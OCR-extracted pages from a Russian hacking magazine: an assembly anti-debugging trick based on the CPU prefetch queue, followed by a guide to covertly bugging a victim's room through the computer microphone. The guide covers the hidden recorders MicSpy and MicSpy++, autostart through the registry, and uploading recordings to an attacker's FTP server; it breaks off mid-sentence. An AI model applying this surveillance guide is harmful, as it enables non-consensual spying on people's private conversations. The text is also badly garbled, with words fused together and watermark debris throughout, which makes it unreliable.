базирующийсяпоадресу0x401026, будет |
|
|
остановится, инструкцияRET выполнится, |
||
|
|
|
||||
|
выглядетьтак: |
Одинизспособовантиотладки, использующей |
возвращаяуправлениепотомуадресу, который |
|||
|
|
|
|
механизмочередипредварительнойвыборки, |
былсохраненвстек. Еслиотладчиквпамяти |
|
|
00401026 |
RDTSC |
|
— перезаписьисполняемогокода. Рассмотрим |
отсутствует, апроцессисполняетсявконтексте |
|
|
00401028 |
XCHG EAX,ECX |
|
псевдокод: |
операционнойсистемыбезпосредничестваот- |
|
|
00401029 |
RDTSC |
|
|
|
ладчика, произойдетисключение, типкоторого |
|
0040102B |
SUB EAX,ECX |
|
ADDRESS_01: CALL ADDRESS_03 |
|
можетварьироватьсявзависимостиотспособа |
|
0040102D |
CMP EAX,500 |
|
ADDRESS_02: инструкции, подлежащие |
|
размещенияпамяти, котораянаходитсясразу |
|
00401032 |
JBE SHORT ex_tickc.00401000 |
|
исполнению |
|
послерассматриваемогокода. |
|
; переход к точке входа программы |
|
ADDRESS_03: MOV AL, 0C3h |
|
Вслучаееслипамятьявляетсяобычной |
|
|
|
|
|
MOV EDI, OFFSET ADDRESS_03 |
|
виртуальнойобластью, будетсгенерировано |
|
|
|
|
|||
|
Программистанеинтересуютпоследствия |
OR ECX, FFFFFFFF |
|
исключение«Ошибкадоступакпамяти» (Access |
||
|
выполнениякода, следующегопослеадреса |
REP STOSB |
|
violation). Программабудетзавершена, однако |
||
|
|
|
|
|
|
еслиобработчикисключенийустановлен, |
|
|
|
|
|
|
|
|
|
|
|
|
|
ошибкаможетбытьобработана. Вслучаеесли |
|
ВЫПОЛНЕНИЕЭТОГОКОДАПОДОТЛАДЧИКОМПРИВЕДЕТККРАХУ |
обращенияквиртуальнойпамятинепроизош- |
||||
|
ПРОГРАММЫ! |
|
|
ло, выполнениеинструкцииrep будетпрекра- |
щено. Произойдетследующаяпоследовательностьсобытий: записьинструкции«RET» (ей соответствуетразмещенныйвчастирегистра AX байт-код), еевыполнениеи, соответственно, возвраткADDRESS_02 (встекеразмещенадрес инструкции, следующейзаREP).
Объяснениеэтому— особенностьмеханизма предварительнойвыборки. ПроцессорыIntel младшеPentium призаписивадреспамяти, соответствующийадресувочереди, не очищалиочередьпредварительнойвыборки автоматически. Очередьочищаласьлишьтогда, когдавызывалосьисключение(exception).
Например, вслучаеспошаговымисключением, котороеиспользуетсяотладчикамиприкладногоуровня, очередьавтоматическиочищалась. Такимобразом, напроцессорахданного типа, вотсутствииотладчика, выполнялась быоригинальнаямашиннаяинструкция.
Еслижеотладчикприсутствует, очередьбудет
064 |
XÀÊÅÐ 09 /129/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ИЗМЕНЯЕМ ТОЧКУ ВХОДА ПРОГРАММЫ
|
«БРАТ-БЛИЗНЕЦ» OLLYDBG — |
очищаться; соответственно, выполнятьсябудет |
«ПИТОНОВЫЙ» IMMUNITY |
неоригинальнаяинструкция, амашинныйкод, |
|
которымонабылаперезаписана. |
|
Эта особенность была изменена в процес- |
Итак, воткакдействуетоперационнаясис- |
сорах Pentium и старше. Несмотря на это, |
тема, выполняянаборинструкций: |
команды MOVS и STOS с префиксом REP |
1. Помещениевстекадреса00401000. |
продолжают кэшироваться. Следовательно, |
2. Вызовкода, размещенногопоадресу |
они выполняются даже в том случае, когда |
00401035, и, соответственно, помещениевстек |
произошла их перезапись. В нашем случае |
адреса00401030. Этоестественно, таккаквмо- |
процессор выполняет очистку очереди пред- |
ментвызоваавтоматическисохраняетсяадрес |
варительной выборки и выполняет операцию |
инструкции, следующейзакомандой«call», |
ЕСТЕСТВЕННОПРЕДПОЛОЖИТЬ,ЧТОВЫПОЛНЕНИЕКОДАДОЛЖНООСТАНОВИТЬСЯСРАЗУПОСЛЕТОГО,КАКИНСТРУКЦИЯ REPSTOSBБУДЕТПЕРЕЗАПИСАНА.
«RET». Эту особенность можно использовать |
котораяинициировалавызов. |
в антиотладочных целях. Код, написанный |
3. Инициализацияинструкциицикла«REP |
нами, будет дробить любые попытки пошаго- |
STOS» — врегистрыбудутпомещенынеобходи- |
вой отладки приложения. |
мыеданные. |
Будем изучать действие кода на примере |
4. Выполнениеинструкции«REP STOS» допол- |
программы, рассмотренной выше. Перед |
нойотработкицикла(обнулениеECX). |
внедрением защитного кода изменим |
5. Выполнениеинструкции«RET». Инструкция |
точку входа программы на 0x401026, где |
REP STOS WORD PTR ES:[EDI], расположенная |
он и будет размещен (используй LordPE). |
поадресу0x401030, выполненанебудет, таккак |
Откроем программу в OllyDbg и дополним |
регистр-счетчикECX будетсодержатьнулевое |
ее кодом: |
значение. |
6. Выполнениевозвратапоадресу0x401000, помещенномувстекранее.
Естественно, всевыполнитсябеззаминок. Авотчтопроизойдет, еслипрограммубудет отлаживатьреверсер:
1.Помещениевстекадреса0040100.
2.Вызовкода, размещенногопоадресу 00401035, и, соответственно, помещениевстек адреса00401030.
3.Инициализацияинструкциицикла«REP STOS» — врегистрыбудутпомещенынеобходимыеданные.
4.Выполнениеинструкции«REP STOS» до моментаперезаписикода— очередьпредварительнойвыборкибудеточищена.
5.Выполнениеинструкции«RET». Инструкция
REP STOS WORD PTR ES:[EDI], расположенная поадресу0x401030, выполнится, таккакре- гистр-счетчикECX будетсодержатьзначение, отличноеотнулевого.
6.Послетого, какEDI достигнетзначения 0x402000, произойдетисключение— ошибка записивпамять(«Access violation when writing to…»).
Программауйдетвштопор, чтоврядлиобрадуеткрякера:). Почемувыполнениеинструкции
REP STOS WORD PTR ES:[EDI] (говоряпроще, «REP STOSW») приненулевомзначенииECX приводитккраху? Чтобыпонятьэто, разберем механизмдействиякоманды«STOS». «STOre String» — команда, котораяпомещаетпоадресу, указанномуврегистреEDI, байт, словоили двойноеслово(дляегоуказанияиспользуется регистрEAX илиегочасти) иавтоматически корректируетзначениеадресногорегистра EDI. Команда«STOSB» используетвкачестве операндазначениерегистраAL, аинструкция
«STOSW» — регистраAX.
Значит, привыполненииинструкцииREP STOSW будетзадействованрегистрAX. Следовательно, адресныйрегистр(EDI) будет корректироватьсянена1 байт, ана2, чтоприведеткдостижениюимкритическогозначения 0x402000. Выполнениепрограммыстанет невозможно.z
00401026 |
PUSH 00401000 |
«СОБИРАЕМ» ФАЙЛПРОГРАММЫПРИПОМОЩИMASM32 |
0040102B |
CALL 00401035 |
|
00401030 |
REP STOS WORD PTR ES:[EDI] |
|
00401033 |
NOP |
|
00401034 |
NOP |
|
00401035 |
MOV AL,0C3 |
|
00401037 |
MOV EDI, 00401035 |
|
0040103C |
MOV ECX, 0FCA |
|
00401041 |
REP STOS BYTE PTR ES:[EDI] |
|
|
|
|
Что произойдет, если программа, измененная подобным образом, выполнится обычным способом (вне отладчика)? Антиотладочный код работоспособен, так как вновь записанная инструкция RET, ведущая к REP STOS WORD PTR ES:[EDI], выполнится только после обнуления регистра ECX, ведь очередь предварительной выборки не будет очищена.
XÀÊÅÐ 09 /129/ 09 |
065 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
ВЗЛОМ |
|
|
w Click |
|
|
|
|
|
|
ЛЕОНИД «R0ID» СТРОЙКОВ / R0ID@MAIL.RU / |
|||||
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
m |
||||||
w |
|
|
|
|
|
|
|
|
|
|||
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ОТКЛЮЧАЕМ НЕИСПОЛЬЗУЕМЫЙ МИКРОФОН
ТРОЯНСКИЙ
МИКРОФОН
Подслушиваемобстановкувокругкомпьютера
Тылюбишьобщатьсявскайпеилидругихголосовыхклиентах? Аможетбыть, втвоемноутеиликомпемикрофонвходитвстандартную конфигурацию? Казалосьбы, чтовэтомплохого? Напервыйвзгляд— ничего, но, поверьмне— тебяслушают, брат. Давнослушают!
ВЫГОВОРИТЕ— МЫСЛУШАЕМ
Чтобытыпонялсмыслпроисходящего, я начнустеории. Восновелюбогоудаленного прослушиваниялежитдваосновныхмомента:
1.Запись
2.Передача записанного
Как ты понимаешь, любой компьютероподобный девайс, в том числе и ноут/КПК/ нетбук/etc, способен соответствовать обоим пунктам, но при выполнении ряда условий:
1.Наличие устройства звукозаписи
2.Наличие устройства передачи данных
Впервомслучаеидеальноподойдетмикрофон, которыйподефолтувходитвконфигурациюбольшинствамобильныхустройств, аво втором— 3G/EDGE-модем, либоWi-Fi-модуль. Ядумаю, тыужепонял, кчемуяклоню— для прослушкипомещениятребуетсялишькомп (ноутбук) сподключеннымкнемумикрофоном имодемом. Согласись, подобныетребованиядалеконеэкзотичны, иосновнаямасса девайсовбудетимсоответствовать. Азначит
— мысможемуслышатьто, чтонамсовсем не предназначалось:).
Справедливостирадиотмечу, чтоидеяне новаиобладаетрядомнедостатков. Во-пер- вых, качествозвуканапрямуюзависитот звукозаписывающегоустройства: ожидатьот среднестатистическогокитайскогомикрофоначувствительностиврадиуседесятка метровнестоит. Во-вторых, нампотребуется софт, способныйскрытноработатьвсистеме, вестизвукозаписьиотсылатьзаписанное нам. И, наконец, всеэточертовскипротивозаконно, поэтомусоветуюрассмотретьидею лишьвтеории. Впрочем... еслизакрытьна
066 |
XÀÊÅÐ 09 /129/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
MICSPY++ ОТ NIGHTMARЕ В ДЕЙСТВИИ
Крометого, принаписанииполноценногоавтоматизированногософта, следуетучитывать рядважныхмоментов. Аименно:
• Автоматический запуск при загрузке ОС
• Скрытая работа в системе
Дабынесбитьсяснамеченногокурса, сразу перейдемкпервомупункту— осуществлениюскрытойзвукозаписи. Есликодингомты занимаешьсянепервыйдень, тонабросать подобнуюутилутебенесоставитособого труда. Впротивномслучае— можнозапросто заюзатьужеготовыйсофт, неизобретаяпри этомвелосипед:). Специализированныхутил подобногородамневстречалосьлишьдве—
MicSpy отSLESH'аиMicSpy++ отNightmarе.
Несмотрянасхожестьвназваниях, отличия вфункционалеприсутствуют, поэтомумы подробноознакомимсяскаждойизсофтин. Начнемпопорядку, тоестьсMicSpy.
• Утила написана на делфи
• Размер упакованного exe'шника —
около 8 Кб
НЕСПАСАЕТПОЛОЖЕНИЕДАЖЕВЫПОЛНЕНИЕПРОГРАММЫПО<F9> • Записывает звук в формате mp3
• Сжатие — 24 КГц
всеэтипунктыглаза, тореализоватьзадуманноенетаксложно, каккажется:).
РЕАЛИЗАЦИЯИДЕИ, ИЛИ ПРОСЛУШКАВДЕЙСТВИИ
Стеоретическойчастьюразобрались, насталовремяперейтикпрактике. Начнеммы, как водится, скраткогопланадействий. Итак, нам потребуется:
1. Производить звукозапись в фоновом режиме с использованием уста-
УТИЛПОДОБНОГОРОДАМНЕВСТРЕЧАЛОСЬ ЛИШЬДВЕ—MICSPYОТSLESH'АИMICSPY++ ОТNIGHTMARЕ.
новленных в системе звукозаписываю- |
|
• Битрейт — 32 Кбит/сек |
|
щих устройств (если такие имеются) |
|
• Использует дефолтовый виндовый |
|
2. |
Сохранять аудиозаписи |
|
кодек MPEG LAYER-3 |
3. |
Получать аудиозаписи (например, |
|
• Генерирует имена файлов по маске: |
через свой ftp-сервер) |
|
год_месяц_день_час-минуты-секунды |
|
|
|
|
|
XÀÊÅÐ 09 /129/ 09 |
067 |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
ВЗЛОМ |
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
МИКРОФОНВСИСТЕМЕ— ОДНАИЗСКРЫТЫХУГРОЗ
•Есть возможность управления утилой через web-интерфейс
•Скрытая работа в системе
Кактыужепонял, основнойособенностью утилыявляетсявозможностьрулитьвсем черезweb-админку. Этопозволяет:
•Начинать/останавливать запись
•Отображать список всех записанных файлов
•Удалять записи, выборочно
•Скачивать записи, выборочно
Админка запускается автоматически, затем коннектиться следует на порт 4545, (например, http://127.0.0.1:4545). При ис-
пользовании утилы отпадает надобность писать дополнительную программную часть для передачи записанных файлов, ибо админка прекрасно справляется с
этой задачей. Однако не стоит забывать, что заюзать web-интерфейс получится лишь в случае, если у жертвы есть статический выделенный IP. Увы, но большинство мобильных девайсов с 3G/EDGE-мо- демами и Wi-Fi-карточками, скорее всего, останутся не у дел. Теперь рассмотрим утилу MicSpy++. Из интересующих нас особенностей можно выделить:
•Совместимость с Windows NT (2000/ XP)
•Использование стандартных кодеков и формата wma в Windows NT
•Сжатие — 32 КГц по дефолту; возможно изменение значения по своему усмотрению
•Ограничение записи в файл по временному промежутку (30 минут по дефолту)
•Скрытая работа в системе
Словом, MicSpy++ представляетсобойфункциональнуюутилусоднимнедостатком— отсутствиевозможностипередачизаписанных файлов.
Такимобразом, обеутилыподходятдлярешениязадачизпервогоивторогопунктанашего плана, аименно— скрытаязвукозаписьи сохранениеаудиофайлов. Крометого, вряде случаевпрогаMicSpy способнавыполнитьи третийпункт— передачузаписанныхфайлов, нопоhttp-протоколуисизвестнымиограни- чениями(необходимстатическийвыделен- ныйIP-адресжертвы).
Переходимкрассмотрениювариантовполученияаудиофайлов(собственно, безэтого действиявсевышеизложенноенеимеет никакогосмысла). Сперваопределимсвое положениеотносительноатакуемогодевайса (компа/ноута/нетбука/etc). Ситуацииможет бытьдве:
1.Наличие физического либо удаленного доступа
2.Отсутствие такового
Первыйслучайнаиболеепростой, ибопри наличиифизическоголибоудаленного доступакмашинеотпадаетнеобходимость виспользованиидополнительногософта. Гораздопрощевсесделатьручкамипоследующемуалгоритму:
1.Создание условий для автомати- ческого запуска утилы (здесь все зависит только от твоей фантазии: будь то помещение утилы в «Автозагрузку» или внесение дополнительных значений в ключи реестра)
2.Установка звукозаписывающих устройств в системе (при удаленном доступе — включение, при физическом — можно и микрофончик хороший прицепить, незаметно)
3.Сбор накопленных аудиофайлов (при помощи консоли или удаленного рабочего стола; либо сурово скопировать все на флешку, если имеется физический доступ к девайсу)
Каквидишь, приналичиидоступакатакуемомукомпуникакихлишнихтелодвижений оттебянетребуется. Новотеслидоступанет иполучитьегоникакнельзя, — придется кодитьдополнительнуючастькзвукозаписывающейутиле, котораябудетвыполнятьроль лоадераисендерафайлов. Вэтомслучаеесть двапути: первый— накодитьполноценный лоадерсвозможностьюавтозапуска, загрузки файлов, ит.п., авторой— использоватьуже готовыйлоадер(подойдетлюбойрабочий пабликрелиз) инаписатьлишьнебольшой передатчикфайлов(например, наftp-сервер). Такилииначе, писатьпередатчикфайловна FTP-сервертебевсеравнопридется, поэтому
068 |
XÀÊÅÐ 09 /129/ 09 |